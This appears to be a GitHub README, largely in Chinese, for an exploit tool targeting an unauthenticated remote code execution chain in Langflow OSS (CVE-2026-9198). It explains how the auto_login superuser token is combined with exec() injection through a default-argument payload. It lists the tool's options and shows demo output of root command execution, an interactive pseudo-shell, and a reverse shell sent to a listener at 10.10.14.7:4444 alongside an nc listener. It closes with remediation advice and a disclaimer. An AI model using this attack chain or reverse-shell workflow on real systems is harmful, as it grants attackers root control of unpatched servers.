0xdak/CVE-2026-9198_exploit
GitHub: 0xdak/CVE-2026-9198_exploit
针对 IBM Langflow OSS 未授权远程代码执行漏洞(CVE-2026-9198)的利用工具,通过组合 auto_login 超级用户令牌颁发与 validate/code 端点的 exec 注入实现无需认证的任意命令执行。
Stars: 0 | Forks: 0
# CVE-2026-9198 — Langflow OSS 未授权 RCE
在默认部署的 **IBM Langflow OSS** (1.0.0 – 1.10.0) 中存在的未授权远程代码执行漏洞。
结合了两个缺陷:
- **CVE-2026-9103** — 只要启用了 `AUTO_LOGIN`(在 Langflow `< 1.5` 中为默认设置),`GET /api/v1/auto_login` 就会向任何无需凭证的调用者颁发 **SUPERUSER** JWT。
- **CVE-2026-8481** — `POST /api/v1/validate/code` 将用户提供的 Python 代码直接传递给 `exec()` 执行,且没有任何沙箱。
两者结合(**CVE-2026-9198**)使得未授权攻击者能够以 Langflow 服务用户的身份执行代码——该用户通常为 `root`。
## 漏洞原理
1. 请求 `/api/v1/auto_login` 获取超级用户 bearer token(无需身份验证)。
2. 向 `/api/v1/validate/code` 提交 payload。该 endpoint 会 `exec()` 这段代码以对其进行“验证”;由于 Python 会在**定义时评估默认参数值**,因此 payload 被包装在函数的默认参数中:
def _v(a=exec('')): pass
为了实现命令执行,payload 会抛出一个异常,其错误信息即为命令的输出结果,而 endpoint 会将该结果在响应中返回(`function.errors[]`)。
## 用法
```
./exploit.py -t [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
```
## 演示
```
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (先启动 `nc -lvnp 4444`)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
```
## 环境要求
- Python 3.6+(仅使用标准库 — 无需 `pip install`)
## 注意事项
- 仅在启用 `AUTO_LOGIN` 时有效(这是 Langflow `< 1.5` 的默认设置;在 `>= 1.5` 版本中必须显式设置 `LANGFLOW_AUTO_LOGIN=true`)。如果 `auto_login` 未返回 token,则说明目标无法通过此路径进行利用——如果您拥有有效 token,请使用 `-k` 提供。
- 命令输出将在响应的 `function.errors[]` 中返回;`stderr` 会合并到 `stdout` 中,因此即使是失败的命令也会显示其错误信息。
- 代码以 Langflow **服务用户**的身份运行。如果该用户是 `root`(在 systemd/Docker-as-root 下直接运行 `langflow run` 时很常见),这将直接获得主机 root 权限。
## 修复建议
- 将 Langflow 升级到受影响范围之外的版本;`validate/code` 不得对不受信任的输入执行 `exec()`,且 `auto_login` 不得颁发超级用户 token。
- 设置 `LANGFLOW_AUTO_LOGIN=false` 并配置真实的超级用户凭证。
- 切勿以 `root` 用户身份运行 Langflow 服务。
## 免责声明
本项目仅供授权的安全测试和教育目的发布。请勿对您不拥有或未获得明确授权的系统使用本工具。作者对任何滥用行为不承担任何责任。
标签:CISA项目, Python, RCE利用, 威胁模拟, 安全漏洞, 无后门, 逆向工具